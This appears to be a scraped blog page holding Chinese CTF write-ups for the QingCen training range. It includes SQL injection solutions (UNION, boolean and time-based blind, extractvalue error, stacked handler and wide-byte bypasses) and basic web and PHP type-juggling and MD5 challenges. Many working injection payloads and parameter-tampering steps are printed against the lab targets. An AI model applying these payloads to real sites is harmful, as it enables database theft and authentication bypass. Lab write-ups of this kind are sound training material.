?username=xxxx\u0026amp;password=-1\u0026#39;union select 1,database(),3,4 or \u0026#39;1\u0026#39;=\u0026#39;1 数据库名为 user 枚举表时，由于 from information_schema.tables where ... 会改变 SQL 结构，引号平衡被打破。使用 where '1'='1 来平衡引号：\n1 ?username=xxxx\u0026amp;password=-1\u0026#39;union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() and \u0026#39;1\u0026#39;=\u0026#39;1 发现 flag 表。查看列名：\n1 ?username=xxxx\u0026amp;password=-1\u0026#39;union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and \u0026#39;1\u0026#39;=\u0026#39;1 四列：id、name、passwd、secret 提取 secret 列（避免使用 passwd 列导致冲突）：\n1 ?username=xxxx\u0026amp;password=-1\u0026#39;union select 1,secret,3,4 from flag where \u0026#39;1\u0026#39;=\u0026#39;1 返回 flag{83d432f6-74d1-4342-8e59-215bdb3bfa5c}，成功获得 flag\n复盘：这题的核心难点是 WAF 过滤了 # 和 -- 注释符，不能用常规注释截断后续 SQL。解决方法是引号平衡——让注入的 SQL 语句中所有引号自然配对闭合。where '1'='1 中的 '1' 既充当布尔条件，又平衡了后续的引号。做 SQL 注入题遇到注释符被过滤时，引号平衡是关键绕过技巧\nEZSQL_7(字符型 SQL 注入 - WAF 严格过滤关键词 + 大于号二分盲注) 访问靶机，页面是一个登录表单，GET 方法提交 username 和 password 两个参数 正常登录 admin / admin，返回 Login failed. 测试 admin'#，返回 Welcome admin，单引号和注释符可用 测试 admin' or '1'='1，返回 Illegal SQL injection.，存在 WAF 关键词过滤 逐一测试发现 WAF 过滤了几乎所有 SQL 关键词：select、union、from、where、and、or、length、ascii、hex、char、ord、regexp、rlike、if、case、sleep、benchmark、between、in、exists，以及 ( 括号 但 = 运算符和 \u0026gt; 运算符未被过滤，且 mid()、substr()、concat() 等函数可用 关键发现：= 因运算符优先级问题无法用于逐字符判断（'admin'=mid(secret,N,1)='X' 会被 MySQL 解析为 ('admin'=mid(...))='X'，永远返回相同结果）。但 \u0026gt; 运算符配合括号可以用于二分查找：\n1 ?username=admin\u0026#39;=(mid(secret,1,1)\u0026gt;\u0026#39;E\u0026#39;)#\u0026amp;password=x 当 mid(secret,1,1) 的 ASCII 值大于 E 时返回 Welcome admin，否则返回 Login failed 编写二分查找脚本，对 secret 列逐字符提取。每次用 \u0026gt; 比较中间值，7 次比较即可确定一个字符（128 个 ASCII 值 → log₂128 ≈ 7 次请求/字符） 示例提取过程：\n1 ?username=admin\u0026#39;=(mid(secret,1,1)\u0026gt;\u0026#39;E\u0026#39;)#\u0026amp;password=x 返回 Welcome admin → 第 1 个字符 \u0026gt; \u0026lsquo;E\u0026rsquo;\n1 ?username=admin\u0026#39;=(mid(secret,1,1)\u0026gt;\u0026#39;F\u0026#39;)#\u0026amp;password=x 返回 Login failed → 第 1 个字符 ≤ \u0026lsquo;F\u0026rsquo;，即为 \u0026lsquo;F\u0026rsquo; 依次提取全部 42 个字符，得到 flag{a25e3fbc-ffce-4e57-a717-8614f0c01cce}\n复盘：这题的 WAF 过滤极其严格，几乎封禁了所有 SQL 关键词和函数。突破口是 \u0026gt; 运算符未被过滤，配合括号实现二分盲注。核心技巧：\n= 因左结合优先级无法逐字符判断，必须用 \u0026gt; 做二分 MySQL 默认 collation 下字符串比较是大小写不敏感的，所以 \u0026lsquo;f\u0026rsquo; \u0026gt; \u0026lsquo;E\u0026rsquo; 和 \u0026lsquo;f\u0026rsquo; \u0026gt; \u0026rsquo;e\u0026rsquo; 都为真 每个字符只需 ~7 次请求（二分），42 个字符总共约 300 次请求即可提取完整 flag EZSQL_8(字符型 SQL 注入 - WAF 过滤关键词 + 报错回显 + 大于等于号二分盲注) 访问靶机，页面是一个登录表单，GET 方法提交 username 和 password 两个参数 测试 admin'#，返回 Welcome admin，单引号和注释符可用 测试 admin')#，页面返回完整的 SQL 报错信息：SELECT * FROM flag WHERE name = 'admin')#' AND passwd = 'x'，直接泄露了：\n表名：flag 列名：name、passwd 查询结构：无括号包裹，单引号闭合 测试 admin' or '1'='1，返回 非法sql，存在 WAF 关键词过滤。逐一测试发现 select、union、from、where、and、or、\u0026gt;、\u0026lt; 等全部被拦截 但 \u0026gt;= 运算符未被过滤！利用 \u0026gt;= 配合括号构造二分盲注。关键发现：MySQL 中 = 是右结合的，admin'=(expr)=val# 会被解析为 admin'=(expr=val)#，配合 \u0026gt;= 构造布尔判断： 1 ?username=admin\u0026#39;=(mid(passwd,1,1)\u0026gt;=\u0026#39;a\u0026#39;)#\u0026amp;password=x 如果 mid(passwd,1,1) \u0026gt;= 'a' 为真（1），则 WHERE name = ('admin'=1) → WHERE name = 0，\u0026lsquo;admin\u0026rsquo; 转为 0 匹配 → 返回 Welcome admin 如果为假（0），则 WHERE name = 1，无匹配行 → 返回 Login failed 但直接提取 passwd 列得到的是 admin123（管理员密码），不是 flag。通过枚举发现表中还有 secret 列： 1 ?username=admin\u0026#39;=(mid(secret,1,1)\u0026gt;=\u0026#39;a\u0026#39;)#\u0026amp;password=x 返回 Welcome admin，确认 secret 列存在且首字符 \u0026gt;= \u0026lsquo;a\u0026rsquo; 对 secret 列进行二分盲注提取，每个字符约 7 次请求（32~126 二分），示例：\n1 ?username=admin\u0026#39;=(mid(secret,1,1)\u0026gt;=\u0026#39;A\u0026#39;)#\u0026amp;password=x 返回 Welcome admin → 第 1 个字符 \u0026gt;= \u0026lsquo;A\u0026rsquo;\n1 ?username=admin\u0026#39;=(mid(secret,1,1)\u0026gt;=\u0026#39;G\u0026#39;)#\u0026amp;password=x 返回 Login failed → 第 1 个字符 \u0026lt; \u0026lsquo;G\u0026rsquo;，即为 \u0026lsquo;F\u0026rsquo; 提取全部 42 个字符，得到 flag{a11e2e0c-1cfd-45ad-a5ea-3596e97e1534}\n复盘：这题有三个关键点：\n报错回显泄露了完整的查询结构（表名、列名），大幅降低了信息收集难度 WAF 过滤了 \u0026gt;、\u0026lt; 但遗漏了 \u0026gt;=，利用 \u0026gt;= 实现二分查找 MySQL = 的右结合特性使得 admin'=(expr)# 可以构造布尔 oracle，flag 存储在 secret 列而非 passwd 列 EZSQL_9(数字型 UNION 联合查询注入 - 无过滤) 访问靶机，页面是一个\u0026quot;Employee Query\u0026quot;员工查询系统，输入 Employee ID 返回 id、name、department、salary 四个字段 正常查询 id=1，返回员工 Alice 的信息，确认后端有数据且查询正常 测试注入，id=1 and 1=1 返回正常数据，id=1 and 1=0 返回\u0026quot;未找到员工信息\u0026quot;，确认存在数字型注入（无需引号闭合） 直接使用 UNION SELECT 测试：\n1 ?id=-1 union select 1,2,3,4 返回 1、2、3、4 四个值，确认查询有 4 列，且四个位置均可回显。本题无任何 WAF 过滤，union、select、from、where 等关键词均可正常使用 获取数据库名和版本：\n1 ?id=-1 union select 1,database(),3,4 数据库名为 user，版本为 MariaDB 10.4.13 枚举所有表：\n1 ?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() 两张表：employees 和 flag 查看 flag 表的列名：\n1 ?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=\u0026#39;flag\u0026#39; 两列：id 和 flag 直接 dump flag 表：\n1 ?id=-1 union select 1,group_concat(id,0x3a,flag),3,4 from flag 返回 1:flag{c53dc831-e6b6-4747-bd6d-68e101023c14}，成功获得 flag\n复盘：这题是最基础的数字型 UNION 注入，没有任何过滤。与前面几题的字符型注入不同，数字型注入不需要引号闭合和注释符，直接用 and 1=1 / and 1=0 确认注入点后即可 UNION 提取数据。作为 EZSQL 系列中少数无 WAF 的题目，主要考察 UNION 注入的基本流程\nEZSQL_10(字符型 UNION 联合查询注入 - 单引号闭合 + 无过滤) 访问靶机，页面是一个\u0026quot;Employee Query\u0026quot;员工查询系统，输入 Employee ID 返回 id、name、department、salary 四个字段 正常查询 id=1 返回员工 Alice 的信息 测试数字型注入 id=1 and 1=1 和 id=1 and 1=0，两者都返回 Alice，说明 and 关键词可能被过滤或注入类型不是数字型 测试字符型注入：\n1 ?id=1\u0026#39; and \u0026#39;1\u0026#39;=\u0026#39;1 返回 Alice\n1 ?id=1\u0026#39; and \u0026#39;1\u0026#39;=\u0026#39;0 返回\u0026quot;未找到员工信息\u0026quot;，确认存在字符型注入，单引号闭合 使用 || 运算符验证：\n1 ?id=1\u0026#39;||\u0026#39;1\u0026#39;=\u0026#39;1 返回所有员工数据，进一步确认注入点 直接 UNION 注入，使用 # 注释：\n1 ?id=-1\u0026#39; union select 1,2,3,4# 返回 1、2、3、4，确认 4 列且全部可回显。本题无 WAF 过滤 获取数据库名：\n1 ?id=-1\u0026#39; union select 1,database(),3,4# 数据库名为 user 枚举所有表：\n1 ?id=-1\u0026#39; union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()# 两张表：employees 和 flag 查看 flag 表的列名：\n1 ?id=-1\u0026#39; union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=\u0026#39;flag\u0026#39;# 两列：id 和 flag 直接 dump flag 表：\n1 ?id=-1\u0026#39; union select 1,group_concat(id,0x3a,flag),3,4 from flag# 返回 1:flag{9c876dcf-ce40-48b1-999a-0fddc3267d2f}，成功获得 flag\n复盘：这题是基础的字符型 UNION 注入。与 EZSQL_9（数字型）的区别在于需要单引号闭合和 # 注释。做题时如果数字型 and 1=1/and 1=0 无效，应及时切换到字符型测试\nEZSQL_11(字符型 SQL 注入 - WAF 过滤 select + 堆叠注入 + handler 命令读取数据) 访问靶机，页面是一个\u0026quot;Employee Query\u0026quot;员工查询系统，输入 Employee ID 返回 id、name、department、salary 四个字段 正常查询 id=1 返回员工 Alice 的信息 测试注入类型，id=1' and '1'='1 返回正常，id=1' and '1'='0 返回\u0026quot;未找到\u0026quot;，确认字符型注入，单引号闭合 测试 UNION 注入 id=-1' union select 1,2,3,4#，返回 Illegal SQL injection，存在 WAF 逐一测试关键词，发现 select 被过滤，但 union、from、where、and、or、show、describe、handler 均可用 尝试各种 select 绕过（大小写、注释、编码、空白字符）均失败 关键发现：分号 ; 可用，支持堆叠注入（stacked queries）！ 使用 show 命令获取表结构：\n1 ?id=-1\u0026#39;;show tables# 返回 employees 和 flag 两张表\n1 ?id=-1\u0026#39;;describe flag# 返回 flag 表结构：id(int)、flag(varchar(255)) 由于 select 被完全过滤，无法使用 UNION 或子查询读取数据。改用 MySQL 的 handler 命令——它是 select 的替代方案，可以直接读取表数据：\n1 ?id=-1\u0026#39;;handler flag open;handler flag read first# 返回 1 和 flag{586be8f6-1f8b-432c-a6a6-7fe1b7a2af2d}，成功获得 flag\n复盘：这题的核心是 select 关键词被严格过滤，常规绕过全部失效。突破口是堆叠注入 + handler 命令：\nhandler 是 MySQL/MariaDB 特有的表读取命令，语法类似 handler 表名 open; handler 表名 read first/next/last WAF 只拦截了 select，遗漏了 handler 等替代命令 堆叠注入（; 分隔多条语句）使得可以先 show tables 探测结构，再 handler 读取数据 EZSQL_12(字符型 SQL 注入 - 报错回显 + extractvalue 错误注入) 访问靶机，页面是一个登录表单，GET 方法提交 username 和 password 两个参数 测试 admin'#，返回 Login successful.，单引号闭合和 # 注释可用 测试 admin')#，返回完整 SQL 报错：near ')#' AND password = 'x''，确认存在括号包裹和报错回显 登录成功页面只显示 \u0026ldquo;Login successful.\u0026rdquo; 不显示数据，UNION 注入虽然可行但数据无法回显。改用报错注入 使用 extractvalue 函数触发 XPath 错误，将查询结果嵌入错误信息中：\n1 ?username=admin\u0026#39; and extractvalue(1,concat(0x7e,version()))#\u0026amp;password=x 返回 XPATH syntax error: '~10.4.13-MariaDB'，确认报错注入可用 extractvalue 的错误输出有 32 字符长度限制，需要用 substr 分段提取 枚举表名：\n1 ?username=admin\u0026#39; and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#\u0026amp;password=x 返回 ~flag,users 查看 flag 表结构：\n1 ?username=admin\u0026#39; and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=\u0026#39;flag\u0026#39;)))#\u0026amp;password=x 返回 ~id,flag 先获取 flag 长度：\n1 ?username=admin\u0026#39; and extractvalue(1,concat(0x7e,(select length(flag) from flag)))#\u0026amp;password=x 返回 ~42，共 42 个字符 分段提取 flag（每段最多 32 字符）：\n1 ?username=admin\u0026#39; and extractvalue(1,concat(0x7e,(select substr(flag,1,15) from flag)))#\u0026amp;password=x 返回 ~flag{42710fc0-a\n1 ?username=admin\u0026#39; and extractvalue(1,concat(0x7e,(select substr(flag,16,15) from flag)))#\u0026amp;password=x 返回 ~ff5-4e3e-8b53-4\n1 ?username=admin\u0026#39; and extractvalue(1,concat(0x7e,(select substr(flag,31,15) from flag)))#\u0026amp;password=x 返回 ~ab3454aab86} 拼接得到 flag{42710fc0-aff5-4e3e-8b53-4ab3454aab86}\n复盘：这题的核心是报错注入。页面不显示查询数据，但 SQL 错误信息会被完整输出。extractvalue(1,concat(0x7e,子查询)) 通过 XPath 语法错误将子查询结果泄露到错误信息中。注意 32 字符长度限制，需要配合 substr 分段提取\nEZSQL_13(字符型 SQL 注入 - 布尔盲注 - 无数据显示) 访问靶机，页面是一个\u0026quot;Employee Query\u0026quot;员工查询系统，输入 Employee ID 查询 正常查询 id=1 返回\u0026quot;查询成功\u0026quot;，但页面不显示任何数据（无 \u0026lt;td\u0026gt; 标签） 测试 id=1 and 1=1 和 id=1 and 1=0，两者响应哈希相同，说明数字型注入无效（and 可能被过滤） 测试字符型注入，id=1' and '1'='1 返回\u0026quot;查询成功\u0026quot;，id=1' and '1'='0 返回\u0026quot;未找到员工信息\u0026quot;，且两者响应哈希不同。确认存在字符型布尔盲注 无 WAF 过滤，union、select、from 等关键词均可使用，但页面不显示数据，UNION 注入无法回显。采用布尔盲注逐字符提取 判断 flag 长度：\n1 ?id=1\u0026#39; and (select length(flag) from flag)=42# 返回\u0026quot;查询成功\u0026quot;，flag 长度为 42 逐字符提取 flag，通过判断响应是\u0026quot;查询成功\u0026quot;（true）还是\u0026quot;未找到\u0026quot;（false）来确定每个字符：\n1 ?id=1\u0026#39; and (select substr(flag,1,1) from flag)=\u0026#39;f\u0026#39;# 返回\u0026quot;查询成功\u0026quot; → 第 1 个字符为 \u0026lsquo;f\u0026rsquo; 编写脚本对每个位置遍历 a-z0-9{}_ 字符集，42 个字符约需 42×35 ≈ 1500 次请求 提取全部 42 个字符，得到 flag{fd8914fb-d709-48a6-85e5-cbb368984e7f}\n复盘：这题的核心是布尔盲注——页面不显示查询数据，只能通过响应状态（\u0026ldquo;查询成功\u0026rdquo; vs \u0026ldquo;未找到\u0026rdquo;）判断条件真假。与报错注入不同，布尔盲注需要逐字符遍历提取数据，请求量较大但逻辑简单。字符型注入需要用 ' 闭合和 # 注释\nEZSQL_14(字符型 SQL 注入 - 时间盲注 - 无数据显示) 访问靶机，页面是一个\u0026quot;Employee Query\u0026quot;员工查询系统，输入 Employee ID 查询 正常查询 id=1 返回\u0026quot;The query results have been sent to your email.\u0026quot;，页面不显示任何数据 测试 id=1' and '1'='1 和 id=1' and '1'='0，两者响应内容完全相同（MD5 哈希一致），无布尔差异 尝试时间盲注：\n1 ?id=1\u0026#39; and sleep(3)# 响应延迟 3 秒，确认存在字符型时间盲注，sleep() 函数可用，# 注释有效 无 WAF 过滤，select、union、from、where 等关键词均可正常使用 确认数据库名，sleep 条件为真时延迟 3 秒：\n1 ?id=1\u0026#39; and sleep(if(database()=\u0026#39;user\u0026#39;,3,0))# 返回延迟 3 秒，数据库名为 user 编写二分查找脚本，利用 ascii(substr(...)) 配合 sleep(if(...)) 逐字符提取数据 枚举表名，首字符 ASCII \u0026gt; 100（对应 \u0026rsquo;e\u0026rsquo;），确认 employees,flag 两张表：\n1 ?id=1\u0026#39; and sleep(if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))\u0026gt;100,3,0))# 查看 flag 表列名，确认 id,flag 两列：\n1 ?id=1\u0026#39; and sleep(if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\u0026#39;flag\u0026#39;),1,1))\u0026gt;100,3,0))# 逐字符提取 flag 值，每个字符通过二分查找（~7 次请求/字符），42 个字符约 300 次请求：\n1 ?id=1\u0026#39; and sleep(if(ascii(substr((select flag from flag),1,1))\u0026gt;100,3,0))# 提取全部 42 个字符，得到 flag{eaaa6edb-1425-4cca-9060-4db595c17008}\n复盘：这题的核心是时间盲注——页面不显示查询数据，且布尔条件无响应差异，只能通过 sleep() 函数的延迟来判断条件真假。与布尔盲注相比，时间盲注的每个请求都需要等待 sleep 时间，提取速度更慢。字符型注入需要用 ' 闭合和 # 注释。做 SQL 注入题遇到无数据显示且无布尔差异时，时间盲注是标准解法\nEZSQL_15(字符型 SQL 注入 - 宽字节注入绕过 addslashes + UNION 联合查询注入) 访问靶机，页面是一个登录表单，GET 方法提交 username 和 password 两个参数 正常登录 admin / admin123，返回 Welcome admin 测试单引号注入 admin'#，返回 Login failed.，没有报错。尝试各种注入 payload（admin'--+-、admin' or '1'='1、admin'#）全部返回 Login failed.，说明后端对单引号做了转义处理（addslashes() 或 mysql_real_escape_string()） 关键发现：admin%bf' or 1=1-- - 返回 Welcome admin，说明存在宽字节注入（Wide-Byte Injection）。原理是 addslashes() 在单引号前添加反斜杠 \\（%5c），而 %bf%5c 在 GBK 编码中是一个合法的双字节字符，反斜杠被\u0026quot;吃掉\u0026quot;，单引号 %27 逃逸出来 确定列数，依次测试 1~8 列：\n1 ?username=-1%bf%27 union select 1,2,3,4-- -\u0026amp;password=x 4 列时返回 Welcome 2，确认查询有 4 列，回显位在第 2 列 获取数据库名和版本：\n1 ?username=-1%bf%27 union select 1,database(),3,4-- -\u0026amp;password=x 数据库名为 user，版本为 MariaDB 10.4.13 枚举当前数据库的表：\n1 ?username=-1%bf%27 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()-- -\u0026amp;password=x 只有一张表：flag 查看 flag 表的列名（表名用十六进制 0x666c6167 绕过单引号转义）：\n1 ?username=-1%bf%27 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=0x666c6167-- -\u0026amp;password=x 四列：id、name、passwd、secret 直接 dump flag 表：\n1 ?username=-1%bf%27 union select 1,group_concat(id,0x3a,name,0x3a,passwd,0x3a,secret),3,4 from flag-- -\u0026amp;password=x 返回 1:admin:admin123:flag{6746fd7a-7c7e-4681-a63a-2aa67e5b3d80}，成功获得 flag\n复盘：这题的核心是宽字节注入（Wide-Byte Injection）。后端使用 addslashes() 对单引号进行转义，但在 GBK 编码环境下，%bf%5c 构成一个合法的双字节字符，吞掉了转义用的反斜杠，使单引号逃逸。绕过方式是在注入的单引号前添加 %bf（或其他高字节如 %81~%fe）。防御时应使用 mysql_set_charset() 设置字符集而非 addslashes()，或统一使用参数化查询（Prepared Statements）\nEZSQL_16 EZSQL_17 EZSQL_18 EZSQL_19 ","date":"2026-04-28T15:34:23+08:00","image":"https://blog.xxchenchen.top/img/qingcenctf-cover.svg","permalink":"https://blog.xxchenchen.top/p/qingcen%E9%9D%B6%E5%9C%BAweb%E5%85%A5%E9%97%A8wp-%E4%B8%AD/","title":"QingCen靶场Web入门wp-中"},{"content":"前言 最近一直在青岑靶场做web入门(菜到只能做这个)，今天分享一下自己的wp。(含ai成分)\n靶场地址：https://ctf.qingcen.net/\nBASIC BASIC 根据题目提示，f12查看源码\n发现flag\nBASIC_1 尝试f12查看源码，结果给封了\nshift+ctrl+i打开开发者工具或者右上角的更多工具\n发现flag\nBASIC_2 打开网页发现只有“提交反馈”和“返回官网”能够交互“返回官网”内没有有效信息，查看源码也没有发现有用内容\n使用抓包工具抓取提交反馈的请求，发现请求体中有个is_admin=0\n尝试修改is_admin=1，进行发包，返回flag\nBASIC_3 访问靶场 ctrl+u发现可疑的url js/key.js 跳转js/key.js，发现是JSfuck编码 直接在控制台输入JSfuck编码，解码后发现密码 发现flag BASIC_4 访问靶场 依旧ctrl+u 发现可疑的url 跳转/static/main.js 这是一段JavaScript混淆代码，利用ASCII码对关键字符串进行编码\n解码后:\n1 2 3 var _0 = [81, 67, 67, 84, 70, 95, 86, 73, 80, 95, 50, 48, 50, 54]; // \u0026#34;QCCTF_VIP_2026\u0026#34; var _1 = [47, 102, 108, 97, 103]; // \u0026#34;/flag\u0026#34; var _2 = [86, 73, 80, 95, 78, 79, 84, 95, 72, 69, 82, 69]; // \u0026#34;VIP_NOT_HERE\u0026#34; 代码分析: String.fromCharCode()函数:将ASCII数字数组转换为字符串\n逻辑是点击提交按钮-\u0026gt;checkInvite()执行-\u0026gt;获取输入值-\u0026gt;与QCCTF_VIP_2026相同-\u0026gt;执行POST /flag，返回flag\nBASIC_5 访问靶场 老规矩ctrl+u 发现可疑url /static/main.js\n关键代码分析 分数 currentScore 完全在前端计算和存储，服务端 /claim 接口未验证分数真实性，直接信任前端提交的数据。\n利用burp抓包，POST请求，发现\u0026quot;data\u0026quot;:\u0026ldquo;eyJzY29yZSI6MH0=\u0026rdquo; 即{\u0026ldquo;score\u0026rdquo;:0} 需要score为1000\n将{\u0026ldquo;score\u0026rdquo;:1000} 编码为base64 eyJzY29yZSI6MTAwMH0=\n返回\u0026quot;data\u0026quot;:\u0026ldquo;eyJmbGFnIjogImZsYWd7YWVmNTBmY2QtMmQ2MS00NzM3LTg0YTctYWY5YTc2ZWE5MTExfSJ9\u0026rdquo; 发现flag BASIC_6 访问靶场 ctrl+u 未发现可用信息\nf12打开开发者工具 网络页面 发现X-Flag:flag{8c931b47-fba4-4659-88eb-5bb442ec0ef2} BASIC_7 访问 http://docker.qingcen.net:45040/，看到一个 3×3 拼图游戏，需要把 9 块拼图拖拽到正确位置后点击\u0026quot;提交\u0026quot;。\n关键发现\n查看页面源码，核心逻辑在 \u0026lt;script\u0026gt; 中：\nCSRF Token：每个会话会生成一个 CSRF token（const csrf = \u0026ldquo;65bdfa841e802c39510e4d59eb5c1820\u0026rdquo;） 提交逻辑：拼图完成后，JS 会向 /complete.php 发送 POST 请求：\nfetch(\u0026rsquo;/complete.php\u0026rsquo;, {\nmethod: \u0026lsquo;POST\u0026rsquo;,\nbody: new URLSearchParams({ csrf, solved: \u0026lsquo;1\u0026rsquo; })\n}); 重定向链：提交成功后，响应头显示 302 跳转链：- /complete.php → /vault.php → /decoy.php\n关键点：/vault.php 虽然返回了 302 Redirect 到 /decoy.php，但 响应体仍然包含 flag 内容！\n解题过程 1 2 3 4 5 6 7 8 9 10 11 12 Step 1：带 Cookie 访问首页获取 CSRF Token curl -s -c cookie.txt \u0026#39;http://docker.qingcen.net:45040/\u0026#39; | grep \u0026#39;const csrf\u0026#39; # → const csrf = \u0026#34;6adc8fb5af2c4ca36c946fcfaea42fc2\u0026#34; Step 2：用同一 Session 提交拼图完成请求 curl -s -L -b cookie.txt -X POST \u0026#39;http://docker.qingcen.net:45040/complete.php\u0026#39; \\ -d \u0026#39;csrf=6adc8fb5af2c4ca36c946fcfaea42fc2\u0026amp;solved=1\u0026#39; Step 3：直接访问 /vault.php（不跟随重定向） curl -s -b cookie.txt \u0026#39;http://docker.qingcen.net:45040/vault.php\u0026#39; 虽然响应头是 302 → /decoy.php（decoy = 诱饵页面），但响应体中赫然写着 flag。 总结\n这道题的核心考点是 HTTP 302 重定向与响应体的关系。题目利用两层误导：\n正常浏览器会跟随重定向，先到 vault.php，再到 decoy.php（诱饵页面），用户只看到诱饵 但实际上 vault.php 虽然发了 302，响应体里已经包含了 flag —— 用 curl 不跟随重定向（或只跟随到vault.php）就能直接看到 BASIC_8 访问靶场 根据题目提示，寻找源代码文件，我们进行目录爆破 查看字典 发现只有index.php和index.phps状态码正常\n访问index.phps 分析一下，发现只要GET请求参数a=QCyYdS 就会返回flag文件\nBASIC_9 访问靶场 根据提示挨个试一试，index.phps没有，robots.txt有信息 访问获得flag BASIC_10 访问靶场 没发现有用信息，进行目录扫描(这里用的是dirsearch)\n常用格式：python3 dirsearch.py -u \u0026lt;目标URL\u0026gt; [选项]；\n-e 指定扩展名（如 -e php,html,txt）；\n-w 指定字典文件，不指定则用默认字典；\n-x 排除状态码（如 -x 403,404）可减少无效结果；\n扫描结果会列出存在的路径与状态码，便于发现隐藏文件或后台。\n扫出[04:18:53] 200 - 177B - /sitemap.xml 进行访问 又发现/wqw.php，访问 发现不是管理员权限,用hackbar进行修改user=admin,发送请求，获得flag BASIC_11 访问靶场 没有发现有用信息，robots.txt里是假的\n继续目录扫描(这里用的是dirsearch) 字典httppath.txt 扫出fl4g.php，访问,获得flag\nBASIC_12 访问靶场 点击各个文档，可以发现参数id发生变化，对参数id进行爆破 可以发现id=121的长度和别的不一样且不在显示的几个文档中，访问 找到flag BASIC_13 访问靶机 发现需要密码，且username为admin，一般是弱口令，尝试admin123,获得flag BASIC_14 访问靶场 虽然指定/admin_secret.txt 就能获得flag，但是长度不满足\u0026lt;17\n代码中 $flag = fopen(\u0026rsquo;/admin_secret.txt\u0026rsquo;, \u0026lsquo;r\u0026rsquo;) 打开了目标文件，这会在进程中创建一个文件描述符。\n在 Linux 中： fopen() 打开的文件会分配文件描述符，文件描述符可通过 /proc/self/fd/3~10 目录访问\n?filename=/proc/self/fd/5 返回flag EZREQUEST EZREQUEST 访问靶场 根据GET请求参数a=QCCTF http://docker.qingcen.net:40964/?a=QCCTF 打开hackbar，Use POST-method b=yyds EZREQUEST_1 访问靶场 GET请求参数a=a 打开Hackbar Use POST method b=b 添加请求头X-Forward-For: 127.0.0.1 绕过IP限制 添加请求头User-Agent:QingcenSafe 添加请求头Via:xujinyingcangming.top 添加请求头Cookie:user=admin EZPHP EZPHP 访问靶机 分析条件 使$a存在且弱类等于0 is_numeric($b)返回false $b\u0026gt;2026\n绕过方法\n$a=\u0026lsquo;a\u0026rsquo;（字符串与0比较转为0）\n$b=\u0026lsquo;2027a\u0026rsquo;（含字母，不是纯数字）\n\u0026lsquo;2027a\u0026rsquo; 与数字比较时转为 2027\n拼接一下 最终Payload : ?a=a\u0026amp;b=2027a\nEZPHP_1 访问靶机 分析条件\narray_search(\u0026ldquo;QCCTF\u0026rdquo;, $qc) 使用弱类型比较==(0 == \u0026ldquo;QCCTF\u0026rdquo;)为true\n$key === 1 返回的键名必须全等于1\n构造payload qc=[null,0] 索引 0：null → null == \u0026ldquo;QCCTF\u0026rdquo; 为 false\n索引 1：0 → 0 == \u0026ldquo;QCCTF\u0026rdquo; 为 true ✓\n返回键名：1\n1 === 1 → true → 输出 flag EZPHP_2 访问靶机 分析条件\n$qc[\u0026ldquo;n\u0026rdquo;] 存在、是数组、非空\t\u0026ldquo;n\u0026rdquo;: [0]\narray_search(\u0026ldquo;QCCTF\u0026rdquo;, $qc) 找到值\t利用 0 == \u0026ldquo;QCCTF\u0026rdquo; 为 true\narray_search(\u0026ldquo;QCyyds\u0026rdquo;, $qc[\u0026ldquo;n\u0026rdquo;]) 找到值\t利用 0 == \u0026ldquo;QCyyds\u0026rdquo; 为 true\n$qc[\u0026ldquo;n\u0026rdquo;] 中不能有真正的 \u0026ldquo;QCyyds\u0026rdquo;\t用 0 代替字符串\n构造payload qc={\u0026ldquo;n\u0026rdquo;:[0],\u0026ldquo;a\u0026rdquo;:0}\nEZMD5 EZMD5 访问靶机 分析条件\n比较方式 ==弱类型比较\n$admin_hash\t以 0e 开头的字符串\n弱类型特性\t0e\u0026hellip; 被当作科学计数法，值为 0\n只要找到MD5值以0e开头的字符串\npayload: QC=QNKCDZO EZMD5_1 访问靶机\n分析条件\n$a!=$b\t两个值不相等\nmd5($a)==md5($b) MD5 弱类型相等\n1:找到两个0e开头的字符串\n\u0026ldquo;0e\u0026hellip;\u0026quot;==\u0026ldquo;0e\u0026hellip;\u0026rdquo; → 0 == 0 → true\npayload: a=QNKCDZO\u0026amp;b=240610708\n2:数组绕过 md5(array) 返回 NULL，NULL == NULL 为 true\npayload:a[]=1\u0026amp;b[]=2\nEZMD5_2 访问靶机\n分析条件\n1 2 3 4 5 6 7 8 9 不能用 0e 开头的 MD5 字符串 $a != $b \u0026amp;\u0026amp; md5($a) == md5($b) 数组绕过:?a[]=1\u0026amp;b[]=2 $a = [1] (数组) $b = [2] (数组) $md5_a = md5([1]) → Warning + NULL $md5_b = md5([2]) → Warning + NULL substr(NULL, 0, 2) → \u0026#39;\u0026#39; (不是 \u0026#39;0e\u0026#39;) $a != $b → true $md5_a == $md5_b → NULL == NULL → true EZMD5_3 访问靶机\n$a != $b\t两个值不相等\nmd5($a) === md5($b)\tMD5 全等比较\n不影响使用数组绕过 payload: ?a[]=1\u0026amp;b[]=2\nEZMD5_4 访问靶机\n分析条件 GET 参数 QC\nMD5 值最后6位等于 d54e23\nMD5后六位碰撞\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import hashlib import string target = \u0026#39;d54e23\u0026#39; chars = string.ascii_lowercase + string.digits for length in range(1, 8): from itertools import product for combo in product(chars, repeat=length): s = \u0026#39;\u0026#39;.join(combo) md5_hash = hashlib.md5(s.encode()).hexdigest() if md5_hash[-6:] == target: print(f\u0026#34;Found: {s}\u0026#34;) print(f\u0026#34;MD5: {md5_hash}\u0026#34;) exit() 找到字符串：gsdj5\npayload: ?QC=gsdj5\nEZMD5_5 访问靶机 分析条件\n$a != $b：两个值不相等\nsha1($a) == sha1($b)：两个sha1值相等\nsha1() 处理数组返回 false：当传入数组时，sha1() 函数会报错并返回 false\n依旧可以使用数组绕过 只要两个数组不一样即可，且sha1都返回false\npayload: ?a[]=1\u0026amp;b[]=2\nEZMD5_6 访问靶机 分析条件\n和上一题类似，只是从弱类型比较变成强类型比较\npayload: ?a[]=1\u0026amp;b[]=2\nEZMD5_7 访问靶机\n和EZMD5_3源码一样 尝试数组绕过 ?a[]=1\u0026amp;b[]=2 返回错误 看一下php版本 PHP 8.3 